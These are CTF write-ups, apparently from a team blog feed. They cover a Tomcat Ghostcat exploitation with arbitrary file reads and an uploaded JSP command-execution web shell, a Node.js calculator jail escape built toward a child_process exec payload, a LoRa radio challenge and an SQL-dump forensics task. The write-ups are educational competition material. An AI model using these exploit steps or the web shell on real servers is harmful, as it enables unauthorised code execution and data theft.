</code></pre></div></div>tipi_hackCategory: Forensics Challenge description Challenge resolution For this challenge we were presented with an archive containing an SQL dump file: -- Adminer 4.7.5 MySQL dump SET NAMES utf8; SET time_zone = '+00:00'; SET foreign_key_checks = 0; SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'; DROP TABLE IF EXISTS `images`; CREATE TABLE `images` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(80) NOT NULL, `image` longblob NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; INSERT INTO `images` (`id`, `name`, `image`) VALUES (4, 'hi-res-ba0782735805201b04a654215730b793_crop_exact.7z', '[REDACTED]'); -- 2019-12-03 08:38:34 The [REDACTED] part was the archive in raw format. Our first attempt was to import the SQL dump to an instance of MySQL. We then tried to output the contained file using the following SQL query: select image from images where id=4 into outfile "/tmp/hi-res-ba0782735805201b04a654215730b793_crop_exact.7z"; However, the generated file was corrupted. We then looked for the Adminer MySQL dump tool and found an online demo enabling the import of the generated dump file: From there, we were able to run the SQL query and download the gunzip archive: From this archive, we extracted the following picture: The negative uncovered the flag: Can you spot it ? It’s right there: Using some color ajustments finally reavealed the flag: auctf{B00M_!!}VolgaCTF 2020 Qualifier - NetCorp2020-03-29T00:00:00+00:002020-03-29T00:00:00+00:00https://tipi-hack.github.io/2020/03/29/VolgaCTF-Quals-20-NetCorp<p>Solves: 134 / Points: 100 / Category: Web</p>
<h2 id="challenge-description">Challenge description</h2>
<blockquote>
<p>Another telecom provider. Hope these guys prepared well enough for the network load…</p>
<p><a href="http://netcorp.q.2020.volgactf.ru:7782">netcorp.q.2020.volgactf.ru</a></p>
</blockquote>
<h2 id="challenge-resolution">Challenge resolution</h2>
<h3 id="recon">Recon</h3>
<p>Browsing the web application did not reveal any clear entry point:</p>
<p><img src="/assets/volga-quals-20-website.png" alt="NetCorp website" /></p>
<p>In order to obtain more information on the target, we thus performed a web directory scan using <a href="https://github.com/OJ/gobuster">Gobuster</a>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">===============================================================</span>
Gobuster v3.0.1
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> & Christian Mehlmauer <span class="o">(</span>@_FireFart_<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url: http://netcorp.q.2020.volgactf.ru:7782
<span class="o">[</span>+] Threads: 10
<span class="o">[</span>+] Wordlist: /usr/share/wordlists/dirb/common.txt
<span class="o">[</span>+] Status codes: 200,204,301,302,307,401,403
<span class="o">[</span>+] User Agent: gobuster/3.0.1
<span class="o">[</span>+] Expanded: <span class="nb">true</span>
<span class="o">[</span>+] Timeout: 10s
<span class="o">===============================================================</span>
2020/03/28 12:06:42 Starting gobuster
<span class="o">===============================================================</span>
http://netcorp.q.2020.volgactf.ru:7782/docs <span class="o">(</span>Status: 302<span class="o">)</span>
http://netcorp.q.2020.volgactf.ru:7782/examples <span class="o">(</span>Status: 302<span class="o">)</span>
http://netcorp.q.2020.volgactf.ru:7782/index.html <span class="o">(</span>Status: 200<span class="o">)</span>
http://netcorp.q.2020.volgactf.ru:7782/resources <span class="o">(</span>Status: 302<span class="o">)</span>
http://netcorp.q.2020.volgactf.ru:7782/uploads <span class="o">(</span>Status: 302<span class="o">)</span>
<span class="o">===============================================================</span>
2020/03/28 12:07:06 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>Sweet! The <strong>docs</strong> folder revealed an installation of Apache Tomcat and the related version:</p>
<p><img src="/assets/volga-quals-20-tomcat.png" alt="Tomcat" /></p>
<p>As outlined on the <a href="http://tomcat.apache.org/security-9.html">tomcat.apache.org</a> website, the version <strong>9.0.24</strong> is vulnerable to CVE-2020-1938, a potential Remote Code Execution also known as <a href="https://www.chaitin.cn/en/ghostcat">GhostCat</a>:</p>
<p><img src="/assets/volga-quals-20-tomcat-vuln.png" alt="Advisory" /></p>
<p>However, to exploit this vulnerability, the AJP connector, usually listening on port 8009, must be reached. Using <code class="language-plaintext highlighter-rouge">netcat</code>, we can confirm that the TCP port 8009 is indeed open:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-v</span> netcorp.q.2020.volgactf.ru 8009
DNS fwd/rev mismatch: netcorp.q.2020.volgactf.ru <span class="o">!=</span> bahilovopt.ru
netcorp.q.2020.volgactf.ru <span class="o">[</span>77.244.215.184] 8009 <span class="o">(</span>?<span class="o">)</span> open
</code></pre></div></div>
<h3 id="exploitation">Exploitation</h3>
<p>The exploitation was performed using the <code class="language-plaintext highlighter-rouge">ajpShooter.py</code> python script from @00theway <a href="https://github.com/00theway/Ghostcat-CNVD-2020-10487">GitHub repo</a>.</p>
<p>To check that the server is indeed vulnerable, we first attempted to download the <code class="language-plaintext highlighter-rouge">WEB-INF/web.xml</code> configuration file using the following command line:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/web.xml <span class="nb">read</span>
</code></pre></div></div>
<p><img src="/assets/volga-quals-20-web-inf.png" alt="WEB-INF" /></p>
<p>As shown above, we can effectively read arbitrary file on the server. <(^_^)></p>
<p>We then downloaded the java class of the <code class="language-plaintext highlighter-rouge">ServeScreenshot</code> Servlet:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class <span class="nb">read</span>
</code></pre></div></div>
<p><img src="/assets/volga-quals-20-ServeScreenshotServlet.png" alt="ServeScreenshot" /></p>
<p>Using the <code class="language-plaintext highlighter-rouge">-o</code> parameter, we can save the class file to an output file, and use <code class="language-plaintext highlighter-rouge">Jadx</code>, a Dex to Java decompiler, to get the associated Java source code:</p>
<p><img src="/assets/volga-quals-20-jadx.png" alt="Jadx" /></p>
<p>From the source code, we’ve learned that uploaded files are saved in the <code class="language-plaintext highlighter-rouge">uploads</code> folder using the md5 hash of the filename:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="nc">String</span> <span class="nf">generateFileName</span><span class="o">(</span><span class="nc">String</span> <span class="n">fileName</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">MessageDigest</span> <span class="n">md</span> <span class="o">=</span> <span class="nc">MessageDigest</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"MD5"</span><span class="o">);</span>
<span class="n">md</span><span class="o">.</span><span class="na">update</span><span class="o">(</span><span class="n">fileName</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span>
<span class="nc">String</span> <span class="n">s2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BigInteger</span><span class="o">(</span><span class="mi">1</span><span class="o">,</span> <span class="n">md</span><span class="o">.</span><span class="na">digest</span><span class="o">()).</span><span class="na">toString</span><span class="o">(</span><span class="mi">16</span><span class="o">);</span>
<span class="nc">StringBuilder</span> <span class="n">sb</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">(</span><span class="mi">32</span><span class="o">);</span>
<span class="kt">int</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">32</span> <span class="o">-</span> <span class="n">s2</span><span class="o">.</span><span class="na">length</span><span class="o">();</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">count</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"0"</span><span class="o">);</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">s2</span><span class="o">).</span><span class="na">toString</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchAlgorithmException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="k">return</span> <span class="s">"Error"</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Using the following HTML code snippet, we can upload file to the server:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><form</span> <span class="na">method=</span><span class="s">"post"</span> <span class="na">action=</span><span class="s">"http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot"</span>
<span class="na">enctype=</span><span class="s">"multipart/form-data"</span><span class="nt">></span>
Select file to upload: <span class="nt"><input</span> <span class="na">type=</span><span class="s">"file"</span> <span class="na">name=</span><span class="s">"file"</span> <span class="nt">/><br</span> <span class="nt">/></span>
<span class="nt"><br</span> <span class="nt">/></span> <span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Upload"</span> <span class="nt">/></span>
<span class="nt"></form></span>
</code></pre></div></div>
<p>For instance, we uploaded a file name <code class="language-plaintext highlighter-rouge">testpoc.txt</code> and calculated the md5 filename hash:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"testpoc.txt"</span> | <span class="nb">md5sum
</span>beb2db6edf7b269ddfe4a4cfb54e09d9 -
</code></pre></div></div>
<p>This file can then be accessed at the intended URI:</p>
<p><img src="/assets/volga-quals-20-uploaded-file-view.png" alt="Upload" /></p>
<p>Content of the file can also be retrieved using the aforementioned <code class="language-plaintext highlighter-rouge">ajpShooter.py</code> python script:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/beb2db6edf7b269ddfe4a4cfb54e09d9 <span class="nb">read</span>
</code></pre></div></div>
<p><img src="/assets/volga-quals-20-uploaded-file.png" alt="Read" /></p>
<p>Next, as stated on the advisory, remote code execution can be achieved by processing JSP script such as the following:</p>
<div class="language-jsp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><%@ page </span><span class="na">import=</span><span class="s">"java.util.*,java.io.*"</span><span class="nt">%></span>
<span class="nt"><HTML></span>
<span class="nt"><BODY></span>
<span class="nt"><PRE></span>
<span class="nt"><%</span>
<span class="nc">String</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s">"id"</span><span class="o">;</span>
<span class="n">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Command: "</span> <span class="o">+</span> <span class="n">cmd</span> <span class="o">+</span> <span class="err">"</span><span class="o"><</span><span class="no">BR</span><span class="err">>"</span><span class="o">);</span>
<span class="nc">Process</span> <span class="n">p</span> <span class="o">=</span><span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="n">cmd</span><span class="o">);</span>
<span class="nc">OutputStream</span> <span class="n">os</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">();</span>
<span class="nc">InputStream</span> <span class="n">in</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span>
<span class="nc">DataInputStream</span> <span class="n">dis</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">in</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">disr</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readLine</span><span class="o">();</span>
<span class="k">while</span> <span class="o">(</span> <span class="n">disr</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">)</span> <span class="o">{</span>
<span class="n">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">disr</span><span class="o">);</span>
<span class="n">disr</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readLine</span><span class="o">();</span>
<span class="o">}</span>
<span class="nt">%></span>
<span class="nt"></PRE></span>
<span class="nt"></BODY></span>
<span class="nt"></HTML></span>
</code></pre></div></div>
<p>The process can then be repeated:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"cmd.jsp"</span> | <span class="nb">md5sum
</span>2079f2ab870589bf5c5ddc9ac5030097 -
</code></pre></div></div>
<p>However, execution is achieved by using the <code class="language-plaintext highlighter-rouge">eval</code> parameter:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/2079f2ab870589bf5c5ddc9ac5030097 <span class="nb">eval</span>
</code></pre></div></div>
<p><img src="/assets/volga-quals-20-eval-id.png" alt="Eval id" /></p>
<h3 id="flag-recovery">Flag recovery</h3>
<p>We then executed the <code class="language-plaintext highlighter-rouge">ls</code> command and spotted the <code class="language-plaintext highlighter-rouge">flag.txt</code> file:</p>
<p><img src="/assets/volga-quals-20-eval-ls.png" alt="Eval ls" /></p>
<p>The <code class="language-plaintext highlighter-rouge">cmd.jsp</code> script can be modified one last time using <code class="language-plaintext highlighter-rouge">Burp</code> in order to retrieved the flag:</p>
<p><img src="/assets/volga-quals-20-eval-flag.png" alt="Burp" /></p>
<p><img src="/assets/volga-quals-20-flag.png" alt="Flag" /></p>tipi_hackSolves: 134 / Points: 100 / Category: Web Challenge description Another telecom provider. Hope these guys prepared well enough for the network load… netcorp.q.2020.volgactf.ru Challenge resolution Recon Browsing the web application did not reveal any clear entry point: In order to obtain more information on the target, we thus performed a web directory scan using Gobuster: =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://netcorp.q.2020.volgactf.ru:7782 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Expanded: true [+] Timeout: 10s =============================================================== 2020/03/28 12:06:42 Starting gobuster =============================================================== http://netcorp.q.2020.volgactf.ru:7782/docs (Status: 302) http://netcorp.q.2020.volgactf.ru:7782/examples (Status: 302) http://netcorp.q.2020.volgactf.ru:7782/index.html (Status: 200) http://netcorp.q.2020.volgactf.ru:7782/resources (Status: 302) http://netcorp.q.2020.volgactf.ru:7782/uploads (Status: 302) =============================================================== 2020/03/28 12:07:06 Finished =============================================================== Sweet! The docs folder revealed an installation of Apache Tomcat and the related version: As outlined on the tomcat.apache.org website, the version 9.0.24 is vulnerable to CVE-2020-1938, a potential Remote Code Execution also known as GhostCat: However, to exploit this vulnerability, the AJP connector, usually listening on port 8009, must be reached. Using netcat, we can confirm that the TCP port 8009 is indeed open: $ nc -v netcorp.q.2020.volgactf.ru 8009 DNS fwd/rev mismatch: netcorp.q.2020.volgactf.ru != bahilovopt.ru netcorp.q.2020.volgactf.ru [77.244.215.184] 8009 (?) open Exploitation The exploitation was performed using the ajpShooter.py python script from @00theway GitHub repo. To check that the server is indeed vulnerable, we first attempted to download the WEB-INF/web.xml configuration file using the following command line: $ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/web.xml read As shown above, we can effectively read arbitrary file on the server. <(^_^)> We then downloaded the java class of the ServeScreenshot Servlet: $ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read Using the -o parameter, we can save the class file to an output file, and use Jadx, a Dex to Java decompiler, to get the associated Java source code: From the source code, we’ve learned that uploaded files are saved in the uploads folder using the md5 hash of the filename: private String generateFileName(String fileName) { try { MessageDigest md = MessageDigest.getInstance("MD5"); md.update(fileName.getBytes()); String s2 = new BigInteger(1, md.digest()).toString(16); StringBuilder sb = new StringBuilder(32); int count = 32 - s2.length(); for (int i = 0; i < count; i++) { sb.append("0"); } return sb.append(s2).toString(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return "Error"; } } Using the following HTML code snippet, we can upload file to the server: <form method="post" action="http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot" enctype="multipart/form-data"> Select file to upload: <input type="file" name="file" /><br /> <br /> <input type="submit" value="Upload" /> </form> For instance, we uploaded a file name testpoc.txt and calculated the md5 filename hash: $ echo -n "testpoc.txt" | md5sum beb2db6edf7b269ddfe4a4cfb54e09d9 - This file can then be accessed at the intended URI: Content of the file can also be retrieved using the aforementioned ajpShooter.py python script: $ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/beb2db6edf7b269ddfe4a4cfb54e09d9 read Next, as stated on the advisory, remote code execution can be achieved by processing JSP script such as the following: <%@ page import="java.util.*,java.io.*"%> <HTML> <BODY> <PRE> <% String cmd = "id"; out.println("Command: " + cmd + "<BR>"); Process p =Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } %> </PRE> </BODY> </HTML> The process can then be repeated: $ echo -n "cmd.jsp" | md5sum 2079f2ab870589bf5c5ddc9ac5030097 - However, execution is achieved by using the eval parameter: $ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/2079f2ab870589bf5c5ddc9ac5030097 eval Flag recovery We then executed the ls command and spotted the flag.txt file: The cmd.jsp script can be modified one last time using Burp in order to retrieved the flag:Hacklab ESGI CTF - Proof Of Life 22019-05-12T00:00:00+00:002019-05-12T00:00:00+00:00https://tipi-hack.github.io/2019/05/12/esgi-19-lorawan<p>Solves: 1 / Points: ?? / Category: ??</p>
<h2 id="challenge-description">Challenge description</h2>
<p>For this challenge we are provided with a USB RTL-SDR dongle and a small antenna. We are told that the radio protocol used is LoRaWAN/LoRa, and that there is somewhere a transmitter which broadcasts a message containing the flag.</p>
<h2 id="challenge-resolution">Challenge resolution</h2>
<p>We discover that <a href="https://www.gnuradio.org/">GNU Radio</a> (very popular SDR toolkit) has a fork which can process LoRa: <a href="https://github.com/rpp0/gr-lora">gr-lora</a></p>
<p>Since at this moment we do not know anything about SDR and LoRa, we take the time to thoroughly read the <a href="https://github.com/rpp0/gr-lora/wiki/Capturing-LoRa-signals-using-an-RTL-SDR-device">gr-lora tutorial</a>. The tool is provided as a very handy Docker container. By the way, it is the occasion to discover that Docker containers can display GUIs through some X socket sharing!</p>
<p>Now that we are equipped, we need to spot the location where the transmitter is located to have the strongest signal. It is easy, since we spot a few competitors in a corridor, sitting with SDR dongles and antennas, in front of a data room. Hi, fellow hackers!</p>
<p>Our first try is not conclusive at all. Decoded LoRa output is supposed to be written in the GNU Radio console but nothing appears…
The reassuring thing is that we see regular radio peaks in the spectrogram, meaning that we are in the right place and that everything is correctly connected.
<img src="/assets/esgi-19-lora-1.png" alt="" /></p>
<p>The tutorial explains that we need to find the frequency (it was given in the challenge description) and that there is an offset, depending on the dongle, to measure and configure in the software.</p>
<p>There are several settings that we can play with and we actually spend around 1 hour tweaking them. We go extreme with the offset since we use a value of “-1M” instead of “26k” in the tutorial. Then, we finally get lucky and something is properly captured and decoded!
We immediately see some transmitted output:
<img src="/assets/esgi-19-lora-2.png" alt="" /></p>
<p>After hex-decoding, we have:</p>
<blockquote>
<p>ESGI{H3art_Be37_Am_I-4L1ve?}</p>
</blockquote>
<h2 id="discussion">Discussion</h2>
<p>We are clearly lucky here, considering that we do that for the first time… that we do not know much of the theory behind… and that for the whole CTF we were the only team to solve this challenge.</p>
<p>Our dear readers, who know better than us LoRa, are strongly invited to start the discussion on our <a href="https://twitter.com/tipi_hack">Tipi’Hack Twitter</a>. Tell us if we missed something, or if we could have done better on this challenge.</p>tipi_hackSolves: 1 / Points: ?? / Category: ??BreizhCTF 2019 - calc-12019-04-14T00:00:00+00:002019-04-14T00:00:00+00:00https://tipi-hack.github.io/2019/04/14/breizh-jail-calc<p>Solves: 2 / Points: 200 / Category: Jail</p>
<h2 id="challenge-description">Challenge description</h2>
<p>I’ve made a simple calculator in JS, I know I shouldn’t use eval but with only 6 chars per line I should be safe.</p>
<p>Note: the <a href="/assets/calc.js">source code</a> of the challenge was provided</p>
<h2 id="challenge-resolution">Challenge resolution</h2>
<p>Our objective is to execute a shell command from the JS calculator.
To perform that, we have to run the following payload on the calculator:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">).</span><span class="nx">exec</span><span class="p">(</span><span class="dl">"</span><span class="s2">cmd</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="step-one-bypass-6-chars-limitation">Step one: bypass 6 chars limitation</h3>
<p>The calc limits input size to 6 chars:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">createFilter</span><span class="p">(</span><span class="nx">line</span> <span class="o">=></span> <span class="nx">line</span><span class="p">.</span><span class="nx">length</span> <span class="o"><</span> <span class="mi">7</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Input too long, max 6 char per line.</span><span class="dl">"</span><span class="p">),</span> <span class="c1">// check line length</span>
</code></pre></div></div>
<p>Problem: Simple and good control -> no bypass :(</p>
<p>Solution:</p>
<p>The calc program uses the regexp “^([0123456789*\/+%-_ ])+$” to validate inputs.</p>
<p>The interesting point here is the position of the operator “-“ which define an interval on a RegExp context when it’s not escaped.
Thus, all the characters between the “%” and “_”, A to Z included but not a to z.</p>
<p>So we can create a variable and store data:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">A</span><span class="o">=</span><span class="dl">'</span><span class="s1">E</span><span class="dl">'</span>
<span class="nx">E</span>
<span class="o">></span> <span class="nx">A</span>
<span class="nx">E</span>
</code></pre></div></div>
<p>Therefore, we are able to build a payload of more than 6 characters.</p>
<p>Unfortunately JavaScript is a case-sensitive language, so we can not write our exploit directly.</p>
<h3 id="step-two-lowercase-alphabet-construction">Step two: Lowercase alphabet construction</h3>
<p>From JavaScript doc:</p>
<blockquote>
<p>+ is also used as the string concatenation operator: If any of its arguments is a string or is otherwise not a number, any non-string arguments are converted to strings, and the 2 strings are concatenated.</p>
</blockquote>
<p>In the provided script, we have a fully upercase function name: <code class="language-plaintext highlighter-rouge">EVAL</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> EVAL
[Function: EVAL]
</code></pre></div></div>
<p>So by applying the operator “+” to the EVAL function we could obtain some lowercase chars :)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> EVAL+1
function (src){
const cmd = `_=${src}`
eval(cmd)
return _
}1
> _[10]
s
</code></pre></div></div>
<p>However, the content of the above response doesn’t allow us to write the desired payload. We need to retrieve more chars.</p>
<p>We tried with the main function:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">A</span><span class="o">=</span><span class="nx">EVAL</span>
<span class="nx">A</span><span class="o">+</span><span class="mi">1</span>
<span class="nx">_</span><span class="p">[</span><span class="mi">53</span><span class="p">]</span> <span class="c1">// m</span>
<span class="nx">E</span><span class="o">=</span><span class="nx">_</span>
<span class="nx">A</span><span class="o">+</span><span class="mi">1</span>
<span class="nx">_</span><span class="p">[</span><span class="mi">49</span><span class="p">]</span> <span class="c1">// a</span>
<span class="nx">E</span><span class="o">+</span><span class="nx">_</span>
<span class="nx">E</span><span class="o">=</span><span class="nx">_</span>
<span class="nx">A</span><span class="o">+</span><span class="mi">1</span>
<span class="nx">_</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="c1">// i</span>
<span class="nx">E</span><span class="o">+</span><span class="nx">_</span>
<span class="nx">E</span><span class="o">=</span><span class="nx">_</span>
<span class="nx">A</span><span class="o">+</span><span class="mi">1</span>
<span class="nx">_</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="c1">// n</span>
<span class="nx">E</span><span class="o">+</span><span class="nx">_</span>
<span class="nx">E</span><span class="o">=</span><span class="nx">_</span>
<span class="nx">A</span><span class="p">(</span><span class="nx">E</span><span class="p">)</span> <span class="c1">// EVAL("main")</span>
<span class="nx">_</span><span class="o">+</span><span class="mi">1</span> <span class="c1">// show main's code</span>
</code></pre></div></div>
<p>Output:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">main</span><span class="p">(){</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2"> _________________________________ </span><span class="dl">"</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2"> | | </span><span class="dl">"</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2"> | Welcome to our js calculator | </span><span class="dl">"</span><span class="p">)</span>
<span class="p">.</span>
<span class="p">.</span>
<span class="p">.</span>
<span class="p">}</span><span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>
<p>Nice, we have more chars here !</p>
<h3 id="step-twobis-lowercase-alphabet-py-construction">Step two(bis): Lowercase alphabet py-construction</h3>
<p>To write the complete payload we had to automate the steps above.
The following python script is the result of the automation process:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># EVAL source code
</span><span class="n">a</span> <span class="o">=</span> <span class="s">"""function (src){
const cmd = `_=${src}`
eval(cmd)
return _
}1
"""</span>
<span class="c1"># main source code
</span><span class="n">b</span> <span class="o">=</span> <span class="s">"""function main(){
console.log(" _________________________________ ")
console.log(" | | ")
console.log(" | Welcome to our js calculator | ")
console.log(" | Submit your expression | ")
console.log(" | Only 6 char per line max | ")
console.log(" |_________________________________|</span><span class="se">\n</span><span class="s">")
function createFilter(func, error_msg){
return function(callback, onerror) {
return line => func(line) ? callback(line) : onerror(error_msg)
}
}
function createModifier(func){
return function(callback, onerror) {
return line => callback(func(line))
}
}
function applyFunction(func){
return function(callback, onerror) {
return line => (func(line), callback(line))
}
}
const whiteList = [
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // digits
"*", "/", "+", "%", "-", // operators
"_", " ", "</span><span class="se">\t</span><span class="s">" // output and white space
]
const validCodeReg = new RegExp(`^([${whiteList.join("")}])+$`)
const handlers = [
createFilter(line => line.length < 7, "Input too long, max 6 char per line."), // check line length
createFilter(line => validCodeReg.exec(line), `Invalid char in input, only valid chars are "${whiteList.join("")}".`), // check line against whitelist
createModifier(line => EVAL(line)), // evaluate line
applyFunction(console.log), // print output
]
const handler = handlers.reverse()
.reduce(
(prev, cur) => cur(prev, error_msg => (console.error(error_msg), true)),
_ => false
)
startPrompt(handler, true)
}1
"""</span>
<span class="n">upcase</span> <span class="o">=</span> <span class="s">"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"</span>
<span class="n">get_lowercase_chars</span> <span class="o">=</span> <span class="s">"""
A=EVAL
A+1
_[53]
E=_
A+1
_[49]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[7]
E+_
E=_
A(E)
_+1
M=_
E=''
A+1
_[4]
E+_
E=_
M+1
_[286]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[10]
E+_
E=_
A(E)
T=_
E=''"""</span> <span class="c1"># we have to clean the E var
</span>
<span class="n">get_lowercase_chars_no_clean</span> <span class="o">=</span> <span class="s">"""
A=EVAL
A+1
_[53]
E=_
A+1
_[49]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[7]
E+_
E=_
A(E)
_+1
M=_
E=''
A+1
_[4]
E+_
E=_
M+1
_[286]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[10]
E+_
E=_
A(E)
T=_
"""</span> <span class="c1"># E contains "this" and we don't clean it here
</span>
<span class="c1"># code to obtain EVAL and main functions code
</span><span class="k">print</span> <span class="n">get_lowercase_chars</span>
<span class="k">def</span> <span class="nf">generate</span><span class="p">(</span><span class="n">string</span><span class="p">,</span> <span class="n">source</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">source2</span><span class="p">,</span> <span class="n">name2</span><span class="p">):</span>
<span class="n">result</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">string</span><span class="p">:</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">"q"</span><span class="p">:</span>
<span class="k">print</span> <span class="n">get_lowercase_chars_no_clean</span>
<span class="n">getQ</span><span class="p">()</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">c</span>
<span class="k">print</span> <span class="s">"E+U"</span>
<span class="k">print</span> <span class="s">"E=_"</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">upcase</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">c</span>
